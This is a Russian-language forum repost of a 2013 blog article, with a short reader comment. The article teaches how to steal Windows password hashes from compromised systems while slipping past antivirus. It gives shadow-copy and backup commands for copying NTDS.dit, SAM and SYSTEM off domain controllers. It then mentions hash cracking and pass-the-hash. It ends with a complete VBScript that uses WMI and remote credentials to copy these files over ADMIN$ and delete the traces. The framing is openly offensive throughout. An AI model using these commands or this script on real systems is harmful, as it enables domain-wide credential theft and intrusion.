Потихоньку проходят времена, когда можно было беспрепятственно шнырять fgdump'ом по всей сети. Сейчас же на каждой корпоративной рабочей станции установлен грозный антивирус, который палит всякие полезные программки, называя их как-то созвучно со словом "hack". В довесок, наблюдается грустная тенденция по инсталляции аверов для защиты серверов все чаще и чаще ( ... Убить всяких касперов по-простому, к сожалению, не всегда удается. Поэтому тру-парни пользуют либо собственные сборки fgdump'ов, перекриптованные собственными пакерами, либо ищут альтернативные пути доступа к хешикам пользователей скомпрометированных систем. Про альтернативные методы дерганья нужных данных как раз и пойдет речь в данной публикации. Первое, что приходит в голову - это воспользоваться встроенными механизмами резервного копирования операционной системы вындовс. Для серверов и рабочих станций справедлива следующая команда: Code: ntbackup backup systemstate /F "C:\backup.bkf" и Code: wbadmin start systemstatebackup -backupTarget:D: -quiet (для более старших осей) В данном случае мы получаем system state, который после переброса на компьютер атакующего, необходимо развернуть в тестовой среде. Затем, для получения доступа к свежей копии продуктивной вражеской системы, можно воспользоваться, например, ElcomSoft System Recovery. Я люблю данный способ, потому как он позволяет в спокойной обстановке изучить систему с использованием привычных интерфейсов без страха неожиданно потерять к ним доступ. Это особенно выгодно, когда речь заходит про копию контроллера домена. Однако у данного подхода существует и серьезное ограничение, связанное с размером файла резервной копии. Для небольшого домена размер файла резервной копии может достигать нескольких гигабайт. Поэтому в ситуевине, когда атакующий ограничен шириной канала, такой вариант, увы, не подходит. Другой альтернативой достижения аналогичных целей является функция "скрытого копирования" (shadow copy), которая впервые появилась в Windows 2003. Для контроллера домена типовая атака состоит из следующих шагов (см. ссылку ): 1. Получаем слепок целевой системы Code: vssadmin create shadow /for=C: 2. Копируем необходимые файлы Code: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ System32\config\SYSTEM system.file Code: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ NTDS\NTDS.dit ntdsdit.file Прим. Файл "system" хранит в себе syskey, который требуется для доступа к чувствительным данным, содержащимся в файле "ntds.dit". Файл "ntds.dit" - это реплика каталога домена. 3. После перемещения этих двух файлов в собственную среду, можно поколдовать над ними с использованием NTDSXtract framework (см. также ссылку ). 4. Грепаем хешики и запускаем перебор паролей Прим. Стоит помнить, что на случай не брутабельных паролей, атакующего может выручить атака pass-the-hash. Это справедливо и в случае, когда на контроллере домена задействована настройка не хранить lm-хеш после смены пароля пользователем. С контроллером домена все норм, а вот на рабочих станциях волшебство из командной строки заканчивается. Дело в том, что парни из MS делают все возможное, чтобы максимально разнообразить жизнь суровым сисадминам и тем, кто ими становится после эксплуатации соответствующих уязвимостей на операционных системах, предназначенных для офисного планктона. Ограничивают доступ к системе по RDP в одну сессию, не ставят по умолчанию telnet в последних сборках винды, подсовывают урезанную версию vssadmin, которая не умеет делать новые копии состояния файловой системы. Но выход есть! Все аналогичные действия можно провернуть через WMI. Code: ... Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy") errResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID) ... Так был написан наколенный вариант vbs-скрипта для скрытого резервного копирования нужных файлов: Code: Dim filescopy,filenames filescopy = Array("\Windows\System32\config\system","\Windows\System32\config\sam","\Windows\NTDS\ntds.dit") set fso=CreateObject("Scripting.FileSystemObject") set objNetwork = CreateObject("WScript.Network") Set WShell = CreateObject("WScript.Shell") tmpdir = fso.GetTempName CurrentDirectory = fso.GetAbsolutePathName(".") Set objArgs = WScript.Arguments if WScript.Arguments.Count = 3 then WScript.Echo "Server: " & objArgs(0) WScript.Echo "User: " & objArgs(1) WScript.Echo "Password: " & objArgs(2) Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objSWbemLocator.ConnectServer(objArgs(0), "root\cimv2", objArgs(1), objArgs(2)) srv = objArgs(0) else WScript.Echo "Server: localhost" Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") srv = "127.0.0.1" end if Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy") errResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID) Set colItems = objWMIService.ExecQuery("Select DeviceObject from Win32_ShadowCopy where ID='" & strShadowID & "'") For Each objItem in colItems strDeviceObject = objItem.DeviceObject Next Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = 12 set objProcess=objWMIService.Get("Win32_Process") errResult = objProcess.Create("cmd /c mkdir %windir%\Temp\" & tmpdir,Null,objConfig,intProcessID) For Each val In filescopy errResult = objProcess.Create("cmd /c copy " & strDeviceObject & val & " %windir%\Temp\" & tmpdir,Null,objConfig,intProcessID) Call ProcMon(intProcessID) Next if srv = "127.0.0.1" Then WShell.run("cmd /c move /Y %windir%\Temp\" & tmpdir & " " & CurrentDirectory & "\127.0.0.1"), 0, true Else WShell.run("cmd /c net use \\" & srv & "\ADMIN$ " & objArgs(2) & " /u:" & objArgs(1) & " && mkdir " & CurrentDirectory & "\" & srv & " && copy /Y \\" & srv & "\ADMIN$\Temp\" & tmpdir & "\* " & CurrentDirectory & "\" & srv & "\ && rmdir /S /Q \\" & srv & "\ADMIN$\Temp\" & tmpdir & " && net use \\" & srv & "\ADMIN$ /del"), 0, true End if Function ProcMon(intProcessID) Dim colProcesses, ExitFlag Set colProcesses = objWMIService.ExecNotificationQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'") Do Until ExitFlag Set objLatestProcess = colProcesses.NextEvent If objLatestProcess.TargetInstance.ProcessID = intProcessID Then ExitFlag = true Loop End Function Пример выполнения: На этом сегодня все. Не попадайтесь! Дата: 9/18/2013 Автор: Dmitry Evteev Источник: http://devteev.blogspot.ru/2013/09/windows-shadow-hack.html
Статья не плохая но это все "Олдскульнын способы еще были хрен зна когда" батники тому примеру - хорошо изучив азы и слабые места системы можно творить что угодно а их не мало и касперы будут молчать и фаерволы - у них у всех шаткая политика как и у всей линейки виней